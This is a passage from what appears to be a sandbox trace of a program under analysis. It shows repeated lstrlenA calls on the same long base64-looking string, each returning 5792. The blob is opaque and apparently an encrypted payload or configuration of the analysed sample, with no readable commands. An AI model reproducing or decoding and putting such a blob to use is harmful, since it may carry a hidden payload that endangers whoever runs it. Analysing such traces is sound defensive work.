(lpString="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") returned 5792 [0128.361] lstrlenA (lpString="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") returned 5792 [0128.361] lstrlenA (lpString="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